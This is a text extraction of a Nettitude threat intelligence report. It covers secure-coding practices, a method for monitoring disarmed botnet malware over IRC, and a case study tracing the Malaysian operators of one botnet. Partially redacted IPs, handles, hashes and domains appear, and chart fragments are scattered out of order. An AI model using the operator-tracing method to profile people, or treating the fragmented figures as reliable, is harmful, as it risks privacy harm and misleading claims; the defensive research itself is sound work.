
6.5.1 Continually Perform Static Analysis

Static analysis tools examine the source code and try to find issues based on various rules. Many static analysis tools are available in various languages, and should be run regularly, even as part of the build process. A classic example is the

lint program for C, lint is also available as a commercial offering for C++ by Gimpel software and a version of lint is also available for Java, JavaScript and PHP.

Warnings from these static analysis tools should be treated as errors, unless proven otherwise, and should be thoroughly investigated by a programmer.

Running static analysis at the end of a project may provide some benefit, however using it throughout the development cycle will locate hard to find bugs and vulnerabilities at a time when they can be easily rectified.

The latest versions of Microsoft Visual Studio come with a static analyzer built in, which can be enabled by adding the /ANALYSIS flag to the build options. Annotating code with Microsoft Source Code Annotation Language (SAL) vastly improves the information provided by the static analyzer and should be applied from the start of a project.

When writing software for non-Microsoft platforms using C, C++ or C#, PVS studio might be a good option for static analysis.


CVE-2015-3650CVE-2016-3943CVE-2015-8620

Privilege escalation.System level privileges.

Buffer overflow.

TRUST

5 COMMON DESIGN MISTAKES

CVE-2015-7600CVE-2015-6555CVE-2016-6486

Weak permissions. Local user privilege escalation.

Remote code execution.

PRINCIPLE OF LEAST PRIVILEGE

CVE-2015-5227CVE-2016-1450

Unauthorized OS level accessRemote authenticated users.Command-injection attacks.

CVE-2016-4631

Remote code execution

CORRECT USE OF CRYPTO

HARD CODED CREDENTIALS

CWE-768CVE-2016-4520CVE-2015-5067CVE-2016-1329

Root privileges

1

2

3

INSUFFICIENT DATA VALIDATION

4

5


6.5.2 Continually Perform Dynamic Analysis

Dynamic analysis software is also available and monitors the software as it runs and checks for memory corruption, privilege issues and other security problems. Dynamic analysis should be carried out at regular intervals as it helps to identify issues which could not be found by static analysis.

For web applications, Veracode may be an option, while C, C++ and C# applications can benefit from using the open source Valgrind or PurifyPlus to detect errors at runtime.

6.5.3 Write Unit Tests for Program Modules, and Continually Test them

Unit tests isolate individual program modules and exercise the functionality, verifying that each module performs the actions it is designed to. Many unit testing frameworks exist and can be easily integrated into a build process.

There are a vast amount of unit testing frameworks available, so there is no need to write something from scratch. A comparison list of unit testing frameworks with various licenses, both commercial and non-commercial, has been compiled on Wikipedia.

6.5.4 Be aware of Language Specific “Gotchas”, and Implement Coding Standards

Most programming languages will have some syntactically correct constructs, which actually produce unexpected results, often causing security vulnerabilities, undefined behavior and bugs. Whether it be JavaScript, C++ or PHP. Another common source of vulnerabilities and bugs is from a lack of input validation.

Using company-wide coding standards is a way to help mitigate this type of issue in an end product.

Note that while it is desirable to have a consistent coding style in an organization, standards should focus less on imposing how many spaces to place before a bracket, and more on functional standards. For example, what to do when allocating memory fails, requirements for checking all memory pointers for validity before use, which functions to use when concatenating strings etc.

Specifically, for software using the Microsoft Windows API, Microsoft have published a list of prohibited functions, for secure application programming. These are mostly to do with string manipulation, a traditional attack vector for buffer over-run and stack execution exploits.

Several alternative libraries for string manipulation are also available, such as The Better String Library by Paul Hsieh. There is also a list of string manipulation libraries available online, and if your platform does not provide safe string functions, it may be worthwhile using one of these libraries after a careful review of the source.

6.5.5 Use Code Review

Code reviews are an important part of the development life-cycle. It is something that should be done regularly.

The aim of a code review is to bridge the gap between functionality and security. Writing code that works does not necessarily make it secure; similarly, writing secure code does not mean that all functional bugs have been avoided. Following some good programming practices can greatly assist reviewing code, especially when the amount of time dedicated to this task is limited.

Code reviews are not a replacement for static analysis, dynamic analysis, unit testing and a secure design. It should however be used in conjunction with all of the methods previously discussed.

23

6.6 Conclusion

Programming, with security in mind, is key in helping to minimize, and avoid vulnerabilities. Much still needs to be done to educate computer programmers, developers and designers to encourage them to incorporate security through the life cycle of their work. A bolt-on security generally comes with significant costs. The success of software is not just determined by its look or functionality, but also by its ability to restrict its use to authorized users only. Zero days will continue to be discovered and exploited in the wild.

Nettitude encourages companies to seriously consider testing their software against vulnerabilities by either engaging into a bug bounty scheme or by working with companies that have dedicated vulnerability research teams, to reduce and minimize the risk profile of their software.



“ … a number of Internet-connected computers communicating with other similar machines in an effort to complete repetitive tasks and objectives. This can be as mundane as keeping control of an Internet Relay Chat (IRC) channel, or it could be used to send spam email or participate in distributed denial-of-service attacks. The word botnet is a combination of the words robot and network. The term is usually used with a negative or malicious connotation. ”

https://en.wikipedia.org/wiki/Botnet - 09-03-2016

7.1 Sample Collection

Nettitude has access to a large quantity of malware through its role as a Managed Security Service Provider (MSSP). In addition, samples are collated by the research and innovation (R&I) team via free and commercial feeds as well as Nettitude’s own global honeypot sensors and collection network.

As samples are analyzed, Nettitude attempts to categorize them, and where applicable, identify any botnet behavior. Samples exhibiting botnet behavior are further analyzed to confirm the Command and Control (C2) communication mechanism so that communication between the sample and botnet network it is connected to can be monitored.

7.2 Sample Disarming

Typically, a captured sample will be “disarmed” in a safe environment. Command and control aspects of the malware will be examined and a logging component attached to the malware at the point instructions are received. This log is written in a standardize form then stored for analysis and threat intelligence purposes. This log forms the main intelligence activity of the botnet tracking program.

In addition to augmenting the malware with a logging capability, the implants functionality is evaluated. Each command is inspected and where an action can result in potential harm to our host machine or third parties the function is modified.

For simple actions, such as a request to participate in a denial of service attack, the commands expected behavior is mimicked using artificial delays.

For more complex commands, the implant will be changed to claim an error state, or simply ignore the message entirely. These actions are less favorable as they make monitoring more obvious, but are difficult to avoid in order to maintain a safe environment.

7.3 Monitoring

Once a sample has been disarmed it will be uploaded to a host in the botnet tracking program. The host will be best matched for the samples intended execution environment as determined by its points of collection and any observations made during analysis and disarming. Once uploaded the sample will be placed into our monitoring framework and executed.

7

7. Insights into Botnet Tracking

Nettitude’s Threat Intelligence capability includes monitoring the activity and size of an increasing number of malicious botnet networks (botnets). A botnet is defined by Wikipedia as:

The intent of Nettitude’s botnet tracking program is that through careful monitoring, we will be able to identify emerging threats, threat actors, their objectives, their Tactics, Techniques and Procedures (TTPs), and provide early warning or attack attribution to our threat intelligence customers.

The section of the report will give an overview of how this is undertaken.

The technique described in this document was used earlier in the year for monitoring a specific type of malware. Nettitude employs different methods for monitoring botnets

TL3

Botnets are used for many purposes these days. From AI apps to sales tools. However, malicious botnets have been around for a long time but are still used to inflict real damage on targets. Nettitude explain what a botnet is, how they operate and how tracking them ca yield some interesting results.

25

https://en.wikipedia.org/wiki/Botnet - 09-03-2016

Malware

Malware

Malware

Malware

Malware

Malware Analysis

Malware

Botnet

Malware “Detoothed”

Malware modified to be “safe” or “de-toothed” and connected to botnet with logging.

Malware analysed for botnet connectors.

Malware collected from various sources.

Analysis allows for:> Real Time Threat Information > Identification of infected customer hosts > Identification of imminent or threats including: Advanced or Real-time DDoS warning. SPAM recipient campaign warning. SPAM impersonation warning. > Threat attribution and motivation hinting. > IoC countermeasures - Malware MD5’s, bad traffic sources, etc.

7.4 Why Monitor Botnets?

Figu

re 1

3: B

otne

t ana

lysi

s

The information gathered from each sample can vary greatly and depends on both how active the botnet is and the communication protocol being used.

Many of the samples collected and monitored by Nettitude use Internet Relay Chat (IRC) networks for communication. This is common as the protocol is quite simple, with client and server software readily available. This reduces production time and allows the actor to focus more on spreading the malware and growing the botnet. As a downside to this, IRC overhead can be quite “leaky” and provide a wealth of additional information not typically available about the network.

Depending on the network configuration this can include, but not be limited to:

1. The number of peers connected, and notifications as peers connect to the network, giving an approximate idea of the botnet size and growth rate.

• Infected hosts or companies can be informed i.e. reduce the impact of the attack.

2. Hostnames or IP address for joining peers giving an approximation of geographic distribution based on IP lookup, and target demographic based on IP ASN assignment.

• The information gathered can be used to protect critical services. For example, all infected hosts can be refused access to certain websites i.e. online banking, government gateways etc.

.


3. The username, host and status of peers on the botnet, allowing identification of operators which can be used in “pattern of life” analysis. In some cases, combined with other information, this supports assertions about the actor and their geographic location.

• The information gathered here can be used to take down the botnet.

4. Non-C2 traffic including operator chatter. IRC’s primary function is as a chat room, and many operators continue to use the C2 infrastructure to talk to each other. This can provide personal identifiable information, operator goals, motivations and other information of interest.


5. In exceptionally rare cases, “talk” permissions have not been appropriately set allowing the ability to interact with and take control of the network. Whilst Nettitude have not been able to do this for ethical and legal reasons this demonstrates the low barrier to entry for some botnets i.e. typically a botnet of this type does not last long.

• Taking control of a botnet can be ethically challenging. This however gives the security team the ability to patch all the infected terminals and prevent further attacks.

6. Capture attack tools: botnet operators issue controller updates to the infected machine.

• This information can be used to further profile the attackers but more so, the information can be used to create countermeasures to prevent further infections of the same botnet.

8.1 The Botnet Candidate

Nettitude initially received this sample from one of our threat intelligence data streams; it was flagged as a candidate for analysis based on Nettitude’s proprietary classification criteria. The file consisted of malicious PHP code embedded inside a malformed GIF image file, and once executed would result in several code files being dropped on to the host machine. A more thorough report about this process, and the samples’ execution can be found in a threat advisory published by Nettitude:

https://www.nettitude.co.uk/request-threat-advisory-report/

8.2 Botnet Overview

In the above report we discuss disassembly and analysis of the files dropped by this malware. This document includes some of the further analysis that was not included as a demonstration of how botnet samples are monitored over a longer period of time.

Of the files dropped, two were determined to be botnet connectors, one written in PHP and one in Perl. Both connectors connected to the same IRC network, and offered near identical functionality. Using the techniques described in this document a monitor was deployed in to the network allowing Nettitude to silently collect information about the activity and use of the network.

8.3 Botnet Connections

Figure 14 shows the estimated number of peers on the network at any given time with the significant drops typically a result of network connectivity issues with the C2 server.

8 8. Insights into Botnet Analysis: The Metri Botnet TL2

And finally, we provide an report on a specific botnet that Nettitude tracked earlier in the year.

27

3000

2500

2000

1500

1000

500

0

Peers / Time

Figure 14: Peers over time

8.4 Botnet Command & Control

Figure 15 shows observations of C2 traffic originating from the operators of the C2 network. This includes potentially automated actions with each color showing a separate operator. Observations of operator “chat” gave a strong indication that the operators were based in Malaysia. The red time window, indicating standard working hours in Malaysia, was added for an internal briefing. The hours shown along the bottom of the graph are in UTC.

Figure 15: Operator observations by hour

Figure 16 is the same graph again but only includes traffic likely to be resulting from a manual action by an operator. Note that one of the three operators does not interact with the network.


Operator Events Seen in C2 Traffic

Malaysia 09:00 - 17:00

35

30

25

20

15

10

5

0

-55 10 15 20 250


8.5 Uncovering the Intelligence

Using information obtained from the samples, observations of the botnet and mapping the various relationships between them, Nettitude were able to build up a portfolio of evidence to help support identifying the threat actors behind the original attack as seen in Figure 17. Information has been redacted from this image where it potentially contains personal identifiable information. Figures 19 and 20 show the activity and events in the botnet that Nettitude observed .

How to read the number of the map

Figure 16: Reduced operator observations by hour

1. Starting point of our investigations. We captured a malware sample for which the MD5 is given.

2. During the monitoring, we observed more malware samples being downloaded on to compromised hosts;

3. The IRC protocol was used for command and control, but also used for idle conversation between the botnet controllers;

4. We were able to retrieve IRC chats from which we extracted various operator names/handles and domain info and the malasian language;

5. The Facebook profile was linked in one of the operator chat messages. This led onto social media accounts for the operators and a web page boasting of other hacking actions allegedly taken by the operator.

Malaysia 09:00 - 17:0010

8

6

4

2

0

-2

12

14

0 5 10 15 20 25

Operator Instructions Seen in C2 Traffic

29

Figure 17: Tracing the operators


A

A

#irc

1

2

3

4

5

Geo-Spatial:Malaysia

Geo-Spatial:Indonesia

Embedded Strings”Malay (malaysian)

Language

Extract /Drops

Typed messages

Extract /Drops

Extract /Drops

Connects to

Connects to

Connects to

Interacts with B

otNet

hosts

hosts

users

Links

google

Extract /DropsExtract

/Drops

Typed m

essages

References

Malware Analysis:22c58ed524f0a3facd88a8d9c7264xxx

Malware Analysis:8bcbd7b0640366478df18b6fcf3d77xxx

Malware Analysis:4ef6b299a8dc182b8d60a05c3e0d4xxx

Malware Analysis:920d7e06bf5dd3b4b124b7388c7b17xxx

Malware Analysis:437cc33b64627a144eeeb938797efxxx

Malware Analysis (R):79f473838674291222bc009b4590axxx

Malware Analysis (R):79f473838674291222bc009b4590axxx

Language:Malay (Malaysian)

Operator:Bxxxxx Cxxxxx

PI - Name/Phots:Name: VixxxAdd Alias: XxxxPhotos/Contacts

“axxxx xxxxxx”:twitter.com/xxxxx

Facebook xxxxx:fb.com/xxxxx

youtube/channel/ UCREYgim1wFBNsexxx

Operator:Rxxxxx Txxxxx

Server:xxxxxope.co.uk

Server:xxxxx.com

Server:xxxxx.us

The graphic below shows the timeline of actions observed by the botnet operators over the monitored period. On the left you will see the operators and their interactions, and on the right the websites and systems targeted.


Figure 18: How to read the timeline

Attacks

Updates

01/09/2015

26/10/2015

06/09/2015

13/09/2015

20/09/2015

27/09/2015

04/10/2015

11/10/2015

18/10/2015

(code default )

70.167.202.███

108.162.206.███

05:03:56

05:13:47

05:20:59

05:24:28

19/09/2015 23:22:54

15/09/201528/09/2015

136.243.220.██

207.210.200.███

14:25:28

15:42:59

30/09/2015

13:15:21 (UDP)13:18:41 (TCP) 194.14.236.███

193.189.116.███

15:30:50

13:57:37

14:57:55

15:23:22

06:06:39

68.188.105.9806:09:59

06:17:15

06:20:55

213.152.162.███

███

06:23:55

03/10/2015

irc.b██████x.us

irc.██████.org

f███████a.by

Code Update17/09/2015


i██████.net


04/10/2015 - 26 /10/2015See Next Page

1

UDP Flood Attack

TCP Flood Attack

Focused Timeline

Core Timeline

Update BotNetDownloads From

Connects To

Figure19: Botnet activity

31

8.6 Conclusion

The botnet in question here is now no longer operating. Botnet monitoring can be very complex and risky but provides a wealth of information that can be used to identify the threat actors. The threat posed by botnets remains. Criminal gangs use botnets to exploit victims and to target vulnerable systems. It is therefore important that botnets are continually monitored to limit the number of victims by creating countermeasures that are based on the knowledge of the botnet itself.


Attacks

Updates

01/09/2015

26/10/2015

06/09/2015

13/09/2015

20/09/2015

27/09/2015

04/10/2015

11/10/2015

18/10/2015

01/09/2015 - 04/10/2015See Previous Page

176.183.89.███

54.198.101.███

54.221.7.███

05/10-2015 16:46:06

07:27:19

07:52:51

08:11:29

08:14:49

Code Update13/10/201514/10/2015

s█████████web.com.br

95.154.195.███

1x2

Figure 20: The life of a botnet

Contact a cyber expert today.

Call 0345-52-000-85 (UK) 212-335-2238 (USA) or email [email protected]

Visit: nettitude.com

excellence as standard

Cyber Threat Intelligence Report

Documents

Transcript of Cyber Threat Intelligence Report